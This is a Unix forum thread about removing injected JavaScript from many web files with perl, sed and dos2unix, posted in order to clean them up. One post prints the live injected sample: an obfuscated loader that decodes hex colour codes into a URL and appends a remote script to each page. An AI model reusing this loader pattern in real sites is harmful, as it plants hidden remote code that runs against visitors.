Remove java code from multiple files


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Remove java code from multiple files
# 8  
Old 10-20-2011
awk

Hi,
i dont thing your requirment full fill by sed. I go with awk or perl.
Which language do you prefer?
Cheers,
Ranga:-)
# 9  
Old 10-20-2011
Quote:
Originally Posted by dhasbro
...
This one goes more like this:
<script>^M
function vdch () {^M
..
..
..
</script>
each line ends with the ^M character, so that will probably affect the command a bit.

Is there a sed variant of the one presented that would support multiple lines of this nature?
...
First, if your file is in Unix/Linux, then remove those "^M" characters by feeding it to the "dos2unix" command.

Code:
dos2unix your_file
od -bc your_file

The "od -bc" command prints an octal dump of the file contents; ensure that you do **not** see any "\r" characters after the dos2unix command has been run on your file.

Thereafter, for removing multi-line <script> tags plus their content, you could do something like so:

Code:
$
$
$ cat -n f36
     1  this is line 1
     2  this is line 2
     3  <script> the script tags
     4  and their contents span
     5  multiple lines
     6  in this case
     7  </script>
     8  this is line 8
     9  <script> begin and close tags on same line </script>
    10  this is line 10
    11  and this is <script> begin and close tags somewhere
    12  within the line, i.e. not at the
    13  beginning and end of
    14  the line </script> line 14
    15  final line number 15
$
$
$ perl -lne 'if (/^(.*?)<script>.*$/) {
               print $1;
               $in = 1;
             }
             if ($in and /^.*?<\/script>(.*?)$/) {
               print $1;
               $in = 0;
             } elsif (not $in) {print}
            ' f36
this is line 1
this is line 2

this is line 8

this is line 10
and this is
 line 14
final line number 15
$
$

If you could post a sample of your data file, then that should be helpful.

tyler_durden
This User Gave Thanks to durden_tyler For This Post:
# 10  
Old 10-20-2011
Hello,

Thanks much for the replies!

Here is the sample of the data in hundreds of files, this is the end of one of the files
Code:
</html><script>^M
function vdch() {^M
        if(document.all.length > 3) {^M
                var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');^M
                var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }^M
                var dch = document.createElement("script");^M
                dch.id = "dchid";^M
                dch.src = dchid;^M
                document.all[3].appendChild(dch);^M
        } else {^M
                setTimeout("vdch()",500);^M
        }^M
} setTimeout("vdch()",500);^M
</script>


Sometimes the <script> piece starts on its own line, but more often, it starts on the last line of the file.

Will have to get that ^M stripped out, hopefully there is an easy method to do this on a lot of files at once?

Thanks again for any help!

David

Last edited by Franklin52; 10-21-2011 at 07:49 AM.. Reason: Please use code tags, thank you
# 11  
Old 10-20-2011
Quote:
Originally Posted by dhasbro
...Will have to get that ^M stripped out, hopefully there is an easy method to do this on a lot of files at once?
...
If all your target files have the extension ".java" and are in only one directory "my_dir", then change to that directory and run the dos2unix on all those files, like so -

Code:
cd my_dir
dos2unix *.java

If your target files are spread out in multiple directories and subdirectories thereof, then use the "find-and-exec" technique.
Change to the highest directory, i.e. a directory from where you could traverse the directory-tree and process all such java files, and then -

Code:
cd highest_dir
find . -name "*.java" -exec dos2unix {} \;

Alternatively, if you do not want to cd to any directory, and work from your current location, then you will have to specify the entire path, like so -

Code:
# fix "^M" in all java files in "/my/path/to/java/files" directory
dos2unix /my/path/to/java/files/*.java
 
# fix "^M" in all java files in the entire tree below "/my/highest/dir" directory
find /my/highest/dir -name "*.java" -exec dos2unix {} \;

tyler_durden
This User Gave Thanks to durden_tyler For This Post:
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

[Solved] How to remove multiple files?

Hi Gurus, I have below files in one directory. the file name has date and time portion which is exactly the file be created. I need keep only lasted created file which is abc_20140101_1550 and remove rest of the file. abc_20140101_1300 abc_20140101_1200 abc_20140101_1400 abc_20140101_1500... (2 Replies)
Discussion started by: ken6503
2 Replies

2. Shell Programming and Scripting

How to remove hidden backslash in multiple files?

Hi I have around 300 files in a folder. When I type ls -l I see the following Mouse.chr10_+_:101862321-101863928.maf Mouse.chr10_+_:101862322-101863928.maf Mouse.chr10_+_:101862323-101863928.maf But when I run my scripts, they couldn't recognise the filename because of hidden backslash like... (5 Replies)
Discussion started by: quincyjones
5 Replies

3. Shell Programming and Scripting

how to remove hacking code from multiple files

Hello, I've located with clamav multiple .js files infected at the end with the above (JS.Trojan.Redir-3) code var _0x4470=;eval(function (_0xa064x1,_0xa064x2,_0xa064x3, _0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);}... (6 Replies)
Discussion started by: MaRiOsGR
6 Replies

4. Programming

can i have an optimal solution for this java code ? Facing Java heap space problem even at 3GB heaps

My desired output is run: for this 1 for this 2 for this 3 for this 4 for this 5 for this 1,2 1->2 for this 2,3 2->3 for this 3,4 3->4 for this 4,5 4->5 for this 1,2,3 1->2,3 (2 Replies)
Discussion started by: vaibhavkorde
2 Replies

5. UNIX for Dummies Questions & Answers

How to remove characters from multiple .txt files

Friends, I want to remove charecters from multiple .txt files. Foe example : In this .txt files there are many "ctrl m" present in last of each line in one .txt file. I want to remove "ctrl m" from each line from all .txt files. Need your help regarding this. (4 Replies)
Discussion started by: meetsubhas
4 Replies

6. Shell Programming and Scripting

To remove multiple files in FTP

We have a files in FTP server..... after getting the files from FTP by mget *.* i hav to remove all files (multiple files) at once... is there any command to delete multiple files at once (2 Replies)
Discussion started by: nani1984
2 Replies

7. Programming

Need an c,c++,or java code for parsing the log files

need the code for c,c++,java for parsing the log file (5 Replies)
Discussion started by: raghuraipur
5 Replies

8. Shell Programming and Scripting

return code of multiple java process

Hi, I have a unix shell script which is launching multiple java processes by calling a java class in a loop, but each time with a different set of parameters. Now I have to use the return code from each process in the script later. but how do i obtain the return code from each process... (1 Reply)
Discussion started by: rama354
1 Replies

9. Shell Programming and Scripting

How to remove certain lines in multiple txt files?

Hi , I have this type of files:- BGH.28OCT2008.00000001.433155.001 BGH.28OCT2008.00000002.1552361.001 BGH.28OCT2008.00000003.1438355.001 BGH.28OCT2008.00000004.1562602.001 Inside them contains the below: 5Discounts 6P150 - Max Total Usage RM150|-221.00 P150 EPP - Talktime RM150... (5 Replies)
Discussion started by: olloong
5 Replies

10. Shell Programming and Scripting

read list of filenames from text file and remove these files in multiple directories

I have a large list of filenames from an Excel sheet, which I then translate into a simple text file. I'd like to use this list, which contains various file extensions , to archive these files and then remove them recursively through multiple directories and subdirectories. So far, it looks like... (5 Replies)
Discussion started by: fxvisions
5 Replies
Login or Register to Ask a Question